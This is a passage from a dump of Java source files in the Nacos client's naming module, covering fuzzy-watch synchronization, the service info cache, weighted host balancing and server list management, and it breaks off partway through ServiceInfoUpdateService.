void shutdown() {\n        // deregister subscriber which registered in constructor\n        NotifyCenter.deregisterSubscriber(this);\n        if (executorService != null && !executorService.isShutdown()) {\n            executorService.shutdown();\n        }\n    }\n    \n    /**\n     * start.\n     */\n    public void start() {\n        \n        executorService = Executors.newSingleThreadScheduledExecutor(\n                new NameThreadFactory(\"com.alibaba.nacos.client.naming.fuzzy.watch.Worker\"));\n        executorService.submit(() -> {\n            while (!executorService.isShutdown() && !executorService.isTerminated()) {\n                try {\n                    fuzzyWatchExecuteBell.poll(5L, TimeUnit.SECONDS);\n                    if (executorService.isShutdown() || executorService.isTerminated()) {\n                        continue;\n                    }\n                    executeNamingFuzzyWatch();\n                } catch (Throwable e) {\n                    LOGGER.error(\"[rpc-fuzzy-watch-execute] rpc fuzzy watch exception\", e);\n                    try {\n                        Thread.sleep(50L);\n                    } catch (InterruptedException interruptedException) {\n                        //ignore\n                    }\n                    notifyFuzzyWatchSync();\n                }\n            }\n        });\n    }\n    \n    public void registerNamingGrpcClientProxy(NamingGrpcClientProxy namingGrpcClientProxy) {\n        this.namingGrpcClientProxy = namingGrpcClientProxy;\n    }\n    \n    public NamingFuzzyWatchContext getFuzzyWatchContext(String groupKeyPattern) {\n        return fuzzyMatchContextMap.get(groupKeyPattern);\n    }\n    \n    /**\n     * Add a watcher to the context.\n     *\n     * @param watcher watcher to be added\n     */\n    public NamingFuzzyWatchContext registerFuzzyWatcher(String groupKeyPattern, FuzzyWatchEventWatcher watcher) {\n        if (!namingGrpcClientProxy.isAbilitySupportedByServer(AbilityKey.SERVER_FUZZY_WATCH)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support fuzzy watch feature.\");\n        }\n        NamingFuzzyWatchContext namingFuzzyWatchContext = initFuzzyWatchContextIfNeed(groupKeyPattern);\n        namingFuzzyWatchContext.setDiscard(false);\n        synchronized (namingFuzzyWatchContext) {\n            FuzzyWatchEventWatcherWrapper fuzzyWatchEventWatcherWrapper = new FuzzyWatchEventWatcherWrapper(watcher);\n            if (namingFuzzyWatchContext.getFuzzyWatchEventWatcherWrappers().add(fuzzyWatchEventWatcherWrapper)) {\n                LOGGER.info(\" [add-watcher-ok] groupKeyPattern={}, watcher={},uuid={} \", groupKeyPattern, watcher,\n                        fuzzyWatchEventWatcherWrapper.getUuid());\n                Set<String> receivedServiceKeys = namingFuzzyWatchContext.getReceivedServiceKeys();\n                if (CollectionUtils.isNotEmpty(receivedServiceKeys)) {\n                    for (String serviceKey : receivedServiceKeys) {\n                        NamingFuzzyWatchNotifyEvent namingFuzzyWatchNotifyEvent = NamingFuzzyWatchNotifyEvent.build(\n                                notifierEventScope, groupKeyPattern, serviceKey, ADD_SERVICE, FUZZY_WATCH_INIT_NOTIFY,\n                                fuzzyWatchEventWatcherWrapper.getUuid());\n                        NotifyCenter.publishEvent(namingFuzzyWatchNotifyEvent);\n                    }\n                }\n            }\n        }\n        \n        return namingFuzzyWatchContext;\n    }\n    \n    /**\n     * init fuzzy watch context.\n     *\n     * @param groupKeyPattern groupKeyPattern.\n     * @return fuzzy context.\n     */\n    public NamingFuzzyWatchContext initFuzzyWatchContextIfNeed(String groupKeyPattern) {\n        if (!fuzzyMatchContextMap.containsKey(groupKeyPattern)) {\n            synchronized (fuzzyMatchContextMap) {\n                if (fuzzyMatchContextMap.containsKey(groupKeyPattern)) {\n                    return fuzzyMatchContextMap.get(groupKeyPattern);\n                }\n                LOGGER.info(\"[fuzzy-watch] init fuzzy watch context for pattern {}\", groupKeyPattern);\n                fuzzyMatchContextMap.putIfAbsent(groupKeyPattern,\n                        new NamingFuzzyWatchContext(notifierEventScope, groupKeyPattern));\n                notifyFuzzyWatchSync();\n            }\n        }\n        return fuzzyMatchContextMap.get(groupKeyPattern);\n    }\n    \n    /**\n     * remove fuzzy watch context for pattern.\n     *\n     * @param groupKeyPattern group key pattern.\n     */\n    public synchronized void removePatternMatchCache(String groupKeyPattern) {\n        NamingFuzzyWatchContext namingFuzzyWatchContext = fuzzyMatchContextMap.get(groupKeyPattern);\n        if (namingFuzzyWatchContext == null) {\n            return;\n        }\n        if (namingFuzzyWatchContext.isDiscard() && namingFuzzyWatchContext.getFuzzyWatchEventWatcherWrappers()\n                .isEmpty()) {\n            LOGGER.info(\"[fuzzy-watch] remove fuzzy watch context for pattern {}\", groupKeyPattern);\n            fuzzyMatchContextMap.remove(groupKeyPattern);\n        }\n    }\n    \n    /**\n     * notify sync fuzzy watch with server.\n     */\n    void notifyFuzzyWatchSync() {\n        fuzzyWatchExecuteBell.offer(bellItem);\n    }\n    \n    /**\n     * Execute fuzzy listen configuration changes.\n     *\n     * <p>This method iterates through all fuzzy listen contexts and determines whether they need to be added or\n     * removed based on their consistency with the server and discard status. It then calls the appropriate method to\n     * execute the fuzzy listen operation.\n     *\n     * @throws NacosException If an error occurs during the execution of fuzzy listen configuration changes.\n     */\n    public void executeNamingFuzzyWatch() throws NacosException {\n        \n        // Obtain the current timestamp\n        long now = System.currentTimeMillis();\n        \n        // Determine whether a full synchronization is needed\n        boolean needAllSync = now - fuzzyWatchLastAllSyncTime.get() >= FUZZY_LISTEN_ALL_SYNC_INTERNAL;\n        \n        List<NamingFuzzyWatchContext> needSyncContexts = new ArrayList<>();\n        // Iterate through all fuzzy listen contexts\n        for (NamingFuzzyWatchContext context : fuzzyMatchContextMap.values()) {\n            // Check if the context is consistent with the server\n            if (context.isConsistentWithServer()) {\n                context.syncFuzzyWatchers();\n                // Skip if a full synchronization is not needed\n                if (!needAllSync) {\n                    continue;\n                }\n            }\n            \n            needSyncContexts.add(context);\n        }\n        \n        // Execute fuzzy listen operation for addition\n        doExecuteNamingFuzzyWatch(needSyncContexts);\n        \n        // Update last all sync time if a full synchronization was performed\n        if (needAllSync) {\n            fuzzyWatchLastAllSyncTime.set(now);\n        }\n    }\n    \n    public void resetConsistenceStatus() {\n        fuzzyMatchContextMap.values()\n                .forEach(fuzzyWatcherContext -> fuzzyWatcherContext.setConsistentWithServer(false));\n    }\n    \n    /**\n     * Execute fuzzy listen configuration changes for a specific map of contexts.\n     *\n     * <p>This method submits tasks to execute fuzzy listen operations asynchronously for the provided contexts. It\n     * waits for all tasks to complete and logs any errors that occur.\n     *\n     * @param contextLists The map of contexts to execute fuzzy listen operations for.\n     * @throws NacosException If an error occurs during the execution of fuzzy listen configuration changes.\n     */\n    private void doExecuteNamingFuzzyWatch(List<NamingFuzzyWatchContext> contextLists) throws NacosException {\n        // Return if the context map is null or empty\n        if (CollectionUtils.isEmpty(contextLists)) {\n            return;\n        }\n        \n        // Iterate through the context map and submit tasks for execution\n        for (NamingFuzzyWatchContext entry : contextLists) {\n            // Submit task for execution\n            NamingFuzzyWatchRequest configFuzzyWatchRequest = buildFuzzyWatchNamingRequest(entry);\n            try {\n                \n                // Execute the fuzzy listen operation\n                NamingFuzzyWatchResponse listenResponse = namingGrpcClientProxy.fuzzyWatchRequest(\n                        configFuzzyWatchRequest);\n                if (listenResponse != null && listenResponse.isSuccess()) {\n                    \n                    if (configFuzzyWatchRequest.getWatchType().equals(WATCH_TYPE_CANCEL_WATCH)) {\n                        removePatternMatchCache(entry.getGroupKeyPattern());\n                    } else {\n                        entry.setConsistentWithServer(true);\n                    }\n                    entry.clearOverLimitTs();\n                }\n                \n            } catch (NacosException e) {\n                // Log error and retry after a short delay\n                \n                if (FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode() == e.getErrCode()\n                        || FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode() == e.getErrCode()) {\n                    LOGGER.error(\" fuzzy watch pattern over limit,pattern ->{} ,fuzzy watch will be suppressed,msg={}\",\n                            entry.getGroupKeyPattern(), e.getErrMsg());\n                    NamingFuzzyWatchLoadEvent namingFuzzyWatchLoadEvent = NamingFuzzyWatchLoadEvent.buildEvent(\n                            e.getErrCode(), entry.getGroupKeyPattern(), notifierEventScope);\n                    NotifyCenter.publishEvent(namingFuzzyWatchLoadEvent);\n                    \n                } else {\n                    LOGGER.error(\" fuzzy watch request fail.\", e);\n                    \n                    try {\n                        Thread.sleep(1000L);\n                    } catch (InterruptedException interruptedException) {\n                        // Ignore interruption\n                    }\n                    // Retry notification\n                    notifyFuzzyWatchSync();\n                }\n                \n            }\n        }\n        \n    }\n    \n    private NamingFuzzyWatchRequest buildFuzzyWatchNamingRequest(NamingFuzzyWatchContext namingFuzzyWatchContext) {\n        NamingFuzzyWatchRequest namingFuzzyWatchRequest = new NamingFuzzyWatchRequest();\n        namingFuzzyWatchRequest.setInitializing(namingFuzzyWatchContext.isInitializing());\n        namingFuzzyWatchRequest.setNamespace(namingGrpcClientProxy.getNamespaceId());\n        namingFuzzyWatchRequest.setReceivedGroupKeys(namingFuzzyWatchContext.getReceivedServiceKeys());\n        namingFuzzyWatchRequest.setGroupKeyPattern(namingFuzzyWatchContext.getGroupKeyPattern());\n        if (namingFuzzyWatchContext.isDiscard() && namingFuzzyWatchContext.getFuzzyWatchEventWatcherWrappers()\n                .isEmpty()) {\n            namingFuzzyWatchRequest.setWatchType(WATCH_TYPE_CANCEL_WATCH);\n        } else {\n            namingFuzzyWatchRequest.setWatchType(WATCH_TYPE_WATCH);\n        }\n        return namingFuzzyWatchRequest;\n    }\n    \n    public Map<String, NamingFuzzyWatchContext> getFuzzyMatchContextMap() {\n        return fuzzyMatchContextMap;\n    }\n    \n    @Override\n    public void onEvent(Event event) {\n        \n        if (event instanceof NamingFuzzyWatchNotifyEvent) {\n            if (!event.scope().equals(notifierEventScope)) {\n                return;\n            }\n            NamingFuzzyWatchNotifyEvent watchNotifyEvent = (NamingFuzzyWatchNotifyEvent) event;\n            String changedType = watchNotifyEvent.getChangedType();\n            String syncType = watchNotifyEvent.getSyncType();\n            \n            String serviceKey = watchNotifyEvent.getServiceKey();\n            String pattern = watchNotifyEvent.getPattern();\n            String watchUuid = watchNotifyEvent.getWatcherUuid();\n            NamingFuzzyWatchContext namingFuzzyWatchContext = fuzzyMatchContextMap.get(pattern);\n            if (namingFuzzyWatchContext == null) {\n                return;\n            }\n            namingFuzzyWatchContext.notifyFuzzyWatchers(serviceKey, changedType, syncType, watchUuid);\n        }\n        if (event instanceof NamingFuzzyWatchLoadEvent) {\n            if (!event.scope().equals(notifierEventScope)) {\n                return;\n            }\n            \n            NamingFuzzyWatchLoadEvent overLimitEvent = (NamingFuzzyWatchLoadEvent) event;\n            NamingFuzzyWatchContext namingFuzzyWatchContext = fuzzyMatchContextMap.get(\n                    overLimitEvent.getGroupKeyPattern());\n            if (namingFuzzyWatchContext == null) {\n                return;\n            }\n            \n            namingFuzzyWatchContext.notifyOverLimitWatchers(overLimitEvent.getCode());\n        }\n        \n    }\n    \n    @Override\n    public List<Class<? extends Event>> subscribeTypes() {\n        List<Class<? extends Event>> result = new LinkedList<>();\n        result.add(NamingFuzzyWatchNotifyEvent.class);\n        result.add(NamingFuzzyWatchLoadEvent.class);\n        return result;\n    }\n    \n    public String getNotifierEventScope() {\n        return notifierEventScope;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/cache/ServiceInfoHolder.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.cache;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.monitor.MetricsMonitor;\nimport com.alibaba.nacos.client.naming.backups.FailoverReactor;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeEvent;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\nimport com.alibaba.nacos.client.naming.utils.CacheDirUtil;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.ConvertUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Naming client service information holder.\n *\n * @author xiweng.yy\n */\npublic class ServiceInfoHolder implements Closeable {\n    \n    private final ConcurrentMap<String, ServiceInfo> serviceInfoMap;\n    \n    private final FailoverReactor failoverReactor;\n    \n    private final boolean pushEmptyProtection;\n    \n    private final InstancesDiffer instancesDiffer;\n    \n    private String cacheDir;\n    \n    private String notifierEventScope;\n    \n    private boolean enableClientMetrics = true;\n    \n    public ServiceInfoHolder(String namespace, String notifierEventScope, NacosClientProperties properties) {\n        cacheDir = CacheDirUtil.initCacheDir(namespace, properties);\n        instancesDiffer = new InstancesDiffer();\n        if (isLoadCacheAtStart(properties)) {\n            this.serviceInfoMap = new ConcurrentHashMap<>(DiskCache.read(this.cacheDir));\n        } else {\n            this.serviceInfoMap = new ConcurrentHashMap<>(16);\n        }\n        this.failoverReactor = new FailoverReactor(this, notifierEventScope);\n        this.pushEmptyProtection = isPushEmptyProtect(properties);\n        this.notifierEventScope = notifierEventScope;\n        this.enableClientMetrics = Boolean.parseBoolean(\n                properties.getProperty(PropertyKeyConst.ENABLE_CLIENT_METRICS, \"true\"));\n    }\n    \n    private boolean isLoadCacheAtStart(NacosClientProperties properties) {\n        boolean loadCacheAtStart = false;\n        if (properties != null && StringUtils.isNotEmpty(\n                properties.getProperty(PropertyKeyConst.NAMING_LOAD_CACHE_AT_START))) {\n            loadCacheAtStart = ConvertUtils.toBoolean(\n                    properties.getProperty(PropertyKeyConst.NAMING_LOAD_CACHE_AT_START));\n        }\n        return loadCacheAtStart;\n    }\n    \n    private boolean isPushEmptyProtect(NacosClientProperties properties) {\n        boolean pushEmptyProtection = false;\n        if (properties != null && StringUtils.isNotEmpty(\n                properties.getProperty(PropertyKeyConst.NAMING_PUSH_EMPTY_PROTECTION))) {\n            pushEmptyProtection = ConvertUtils.toBoolean(\n                    properties.getProperty(PropertyKeyConst.NAMING_PUSH_EMPTY_PROTECTION));\n        }\n        return pushEmptyProtection;\n    }\n    \n    public Map<String, ServiceInfo> getServiceInfoMap() {\n        return serviceInfoMap;\n    }\n    \n    public ServiceInfo getServiceInfo(final String serviceName, final String groupName) {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        ServiceInfo serviceInfo = serviceInfoMap.get(key);\n        return serviceInfo == null ? null : serviceInfo.clone();\n    }\n    \n    /**\n     * Process service json.\n     *\n     * @param json service json\n     * @return service info\n     */\n    public ServiceInfo processServiceInfo(String json) {\n        ServiceInfo serviceInfo = JacksonUtils.toObj(json, ServiceInfo.class);\n        serviceInfo.setJsonFromServer(json);\n        return processServiceInfo(serviceInfo);\n    }\n    \n    /**\n     * Process service info.\n     *\n     * @param serviceInfo new service info\n     * @return service info\n     */\n    public ServiceInfo processServiceInfo(ServiceInfo serviceInfo) {\n        String serviceKey = serviceInfo.getKeyWithoutClusters();\n        if (serviceKey == null) {\n            NAMING_LOGGER.warn(\"process service info but serviceKey is null, service host: {}\",\n                    JacksonUtils.toJson(serviceInfo.getHosts()));\n            return null;\n        }\n        ServiceInfo oldService = serviceInfoMap.get(serviceKey);\n        if (isEmptyOrErrorPush(serviceInfo)) {\n            //empty or error push, just ignore\n            NAMING_LOGGER.warn(\"process service info but found empty or error push, serviceKey: {}, \"\n                    + \"pushEmptyProtection: {}, hosts: {}\", serviceKey, pushEmptyProtection, serviceInfo.getHosts());\n            return oldService;\n        }\n        serviceInfoMap.put(serviceKey, serviceInfo);\n        InstancesDiff diff = getServiceInfoDiff(oldService, serviceInfo);\n        if (StringUtils.isBlank(serviceInfo.getJsonFromServer())) {\n            serviceInfo.setJsonFromServer(JacksonUtils.toJson(serviceInfo));\n        }\n        \n        if (enableClientMetrics) {\n            try {\n                MetricsMonitor.getServiceInfoMapSizeMonitor().set(serviceInfoMap.size());\n            } catch (Throwable t) {\n                NAMING_LOGGER.error(\"Failed to update metrics for service info map size\", t);\n            }\n        }\n        \n        if (diff.hasDifferent()) {\n            NAMING_LOGGER.info(\"current ips:({}) service: {} -> {}\", serviceInfo.ipCount(), serviceKey,\n                    JacksonUtils.toJson(serviceInfo.getHosts()));\n            \n            if (!failoverReactor.isFailoverSwitch(serviceKey)) {\n                NotifyCenter.publishEvent(\n                        new InstancesChangeEvent(notifierEventScope, serviceInfo.getName(), serviceInfo.getGroupName(),\n                                serviceInfo.getClusters(), serviceInfo.getHosts(), diff));\n            }\n            DiskCache.write(serviceInfo, cacheDir);\n        }\n        return serviceInfo;\n    }\n    \n    private boolean isEmptyOrErrorPush(ServiceInfo serviceInfo) {\n        return null == serviceInfo.getHosts() || (pushEmptyProtection && !serviceInfo.validate());\n    }\n    \n    private InstancesDiff getServiceInfoDiff(ServiceInfo oldService, ServiceInfo newService) {\n        return instancesDiffer.doDiff(oldService, newService);\n    }\n    \n    public String getCacheDir() {\n        return cacheDir;\n    }\n    \n    public boolean isFailoverSwitch() {\n        return failoverReactor.isFailoverSwitch();\n    }\n    \n    public ServiceInfo getFailoverServiceInfo(final String serviceName, final String groupName) {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        return failoverReactor.getService(key);\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        String className = this.getClass().getName();\n        NAMING_LOGGER.info(\"{} do shutdown begin\", className);\n        failoverReactor.shutdown();\n        NAMING_LOGGER.info(\"{} do shutdown stop\", className);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/core/Balancer.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.core;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.naming.utils.Chooser;\nimport com.alibaba.nacos.client.naming.utils.Pair;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Balancer.\n *\n * @author xuanyin\n */\npublic class Balancer {\n    \n    public static class RandomByWeight {\n    \n        /**\n         * Select all instance.\n         *\n         * @param serviceInfo service information\n         * @return all instance of services\n         */\n        public static List<Instance> selectAll(ServiceInfo serviceInfo) {\n            List<Instance> hosts = serviceInfo.getHosts();\n            if (CollectionUtils.isEmpty(hosts)) {\n                throw new IllegalStateException(\"no host to srv for serviceInfo: \" + serviceInfo.getName());\n            }\n            return hosts;\n        }\n    \n        /**\n         * Random select one instance from service.\n         *\n         * @param dom service\n         * @return random instance\n         */\n        public static Instance selectHost(ServiceInfo dom) {\n            return getHostByRandomWeight(selectAll(dom));\n        }\n    }\n    \n    /**\n     * Return one host from the host list by random-weight.\n     *\n     * @param hosts The list of the host.\n     * @return The random-weight result of the host\n     */\n    protected static Instance getHostByRandomWeight(List<Instance> hosts) {\n        NAMING_LOGGER.debug(\"entry randomWithWeight\");\n        if (hosts == null || hosts.size() == 0) {\n            NAMING_LOGGER.debug(\"hosts == null || hosts.size() == 0\");\n            return null;\n        }\n        NAMING_LOGGER.debug(\"new Chooser\");\n        List<Pair<Instance>> hostsWithWeight = new ArrayList<>();\n        for (Instance host : hosts) {\n            if (host.isHealthy()) {\n                hostsWithWeight.add(new Pair<Instance>(host, host.getWeight()));\n            }\n        }\n        NAMING_LOGGER.debug(\"for (Host host : hosts)\");\n        Chooser<String, Instance> vipChooser = new Chooser<>(\"www.taobao.com\");\n        vipChooser.refresh(hostsWithWeight);\n        NAMING_LOGGER.debug(\"vipChooser.refresh\");\n        return vipChooser.randomWithWeight();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/core/NamingServerListManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.core;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosLoadException;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.address.PropertiesListProvider;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.JustForTest;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport org.slf4j.Logger;\n\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * Naming server list manager.\n *\n * @author xiweng.yy\n */\npublic class NamingServerListManager extends AbstractServerListManager {\n    \n    private static final Logger LOGGER = LogUtils.logger(NamingServerListManager.class);\n    \n    private final AtomicInteger currentIndex = new AtomicInteger();\n    \n    private String nacosDomain;\n    \n    private boolean isDomain;\n    \n    @JustForTest\n    public NamingServerListManager(Properties properties) {\n        this(NacosClientProperties.PROTOTYPE.derive(properties), \"\");\n    }\n    \n    public NamingServerListManager(NacosClientProperties properties, String namespace) {\n        super(properties, namespace);\n    }\n    \n    @Override\n    public void start() throws NacosException {\n        super.start();\n        List<String> serverList = getServerList();\n        if (serverList.isEmpty()) {\n            throw new NacosLoadException(\"serverList is empty,please check configuration\");\n        } else {\n            currentIndex.set(ThreadLocalRandom.current().nextInt(serverList.size()));\n        }\n        if (serverListProvider instanceof PropertiesListProvider) {\n            if (serverList.size() == 1) {\n                isDomain = true;\n                nacosDomain = serverList.get(0);\n            }\n        }\n    }\n    \n    public String getNacosDomain() {\n        return nacosDomain;\n    }\n    \n    public boolean isDomain() {\n        return isDomain;\n    }\n    \n    @Override\n    protected String getModuleName() {\n        return \"Naming\";\n    }\n    \n    @Override\n    protected NacosRestTemplate getNacosRestTemplate() {\n        return NamingHttpClientManager.getInstance().getNacosRestTemplate();\n    }\n    \n    @Override\n    public String genNextServer() {\n        int index = currentIndex.incrementAndGet() % getServerList().size();\n        return getServerList().get(index);\n    }\n    \n    @Override\n    public String getCurrentServer() {\n        return getServerList().get(currentIndex.get() % getServerList().size());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/core/ProtectMode.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.core;\n\n/**\n * Protect mode.\n *\n * @author nkorange\n */\npublic class ProtectMode {\n    \n    private float protectThreshold;\n    \n    public ProtectMode() {\n        this.protectThreshold = 0.8F;\n    }\n    \n    public float getProtectThreshold() {\n        return protectThreshold;\n    }\n    \n    public void setProtectThreshold(float protectThreshold) {\n        this.protectThreshold = protectThreshold;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/core/ServiceInfoUpdateService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.core;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeNotifier;\nimport com.alibaba.nacos.client.naming.remote.NamingClientProxy;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ConvertUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * Service information update service.\n *\n * @author xiweng.yy\n */\npublic class ServiceInfoUpdateService implements Closeable {\n    \n    private static final long DEFAULT_DELAY = 1000L;\n    \n    private static final int DEFAULT_UPDATE_CACHE_TIME_MULTIPLE = 6;\n    \n    private static final int MIN_THREAD_NUM = 1;\n    \n    private final Map<String, ScheduledFuture<?>> futureMap = new HashMap<>();\n    \n    private final ServiceInfoHolder serviceInfoHolder;\n    \n    private final ScheduledExecutorService executor;\n    \n    private final NamingClientProxy namingClientProxy;\n    \n    private final InstancesChangeNotifier changeNotifier;\n    \n    private final boolean asyncQuerySubscribeService;\n    \n    public ServiceInfoUpdateService(NacosClientProperties properties, ServiceInfoHolder serviceInfoHolder,\n            NamingClientProxy namingClientProxy, InstancesChangeNotifier changeNotifier) {\n        this.asyncQuerySubscribeService = isAsyncQueryForSubscribeService(properties);\n        this.executor = new ScheduledThreadPoolExecutor(initPollingThreadCount(properties),\n                new NameThreadFactory(\"com.alibaba.nacos.client.naming.updater\"));\n        this.serviceInfoHolder = serviceInfoHolder;\n        this.namingClientProxy = namingClientProxy;\n        this.changeNotifier = changeNotifier;\n    }\n    \n    private boolean isAsyncQueryForSubscribeService(NacosClientProperties properties) {\n        if (properties == null || !properties.containsKey(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE)) {\n            return false;\n        }\n        return ConvertUtils.toBoolean(properties.getProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE),\n                false);\n    }\n    \n    private int initPollingThreadCount(NacosClientProperties properties) {\n        int count = ThreadUtils.getSuitableThreadCount(1) > 1 ? ThreadUtils.getSuitableThreadCount(1) / 2 : 1;\n        if (properties == null) {\n            return count;\n        }\n        count = Math.min(properties.getInteger(PropertyKeyConst.NAMING_POLLING_MAX_THREAD_COUNT, count), count);\n        count = Math.max(count, MIN_THREAD_NUM);\n        return properties.getInteger(PropertyKeyConst.NAMING_POLLING_THREAD_COUNT, count);\n    }\n    \n    /**\n     * Schedule update if absent.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param clusters    clusters\n     */\n    public void scheduleUpdateIfAbsent(String serviceName, String groupName, String clusters) {\n        if (!asyncQuerySubscribeService) {\n            return;\n        }\n        String serviceKey = ServiceInfo.getKey(NamingUtils.getGroupedName(serviceName, groupName), clusters);\n        if (futureMap.get(serviceKey) != null) {\n            return;\n        }\n        synchronized (futureMap) {\n            if (futureMap.get(serviceKey) != null) {\n                return;\n            }\n            \n            ScheduledFuture<?> future = addTask(new UpdateTask(serviceName, groupName, clusters));\n            futureMap.put(serviceKey, future);\n        }\n    }\n    \n    private synchronized ScheduledFuture<?> addTask(UpdateTask task) {\n        return executor.schedule(task, DEFAULT_DELAY, TimeUnit.MILLISECONDS);\n    }\n    \n    /**\n     * Stop to schedule update if contain task.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param clusters    clusters\n     */\n    public void stopUpdateIfContain(String serviceName, String groupName, String clusters) {\n        String serviceKey = ServiceInfo.getKey(NamingUtils.getGroupedName(serviceName, groupName), clusters);\n        if (!futureMap.containsKey(serviceKey)) {\n            return;\n        }\n        synchronized (futureMap) {\n            if (!futureMap.containsKey(serviceKey)) 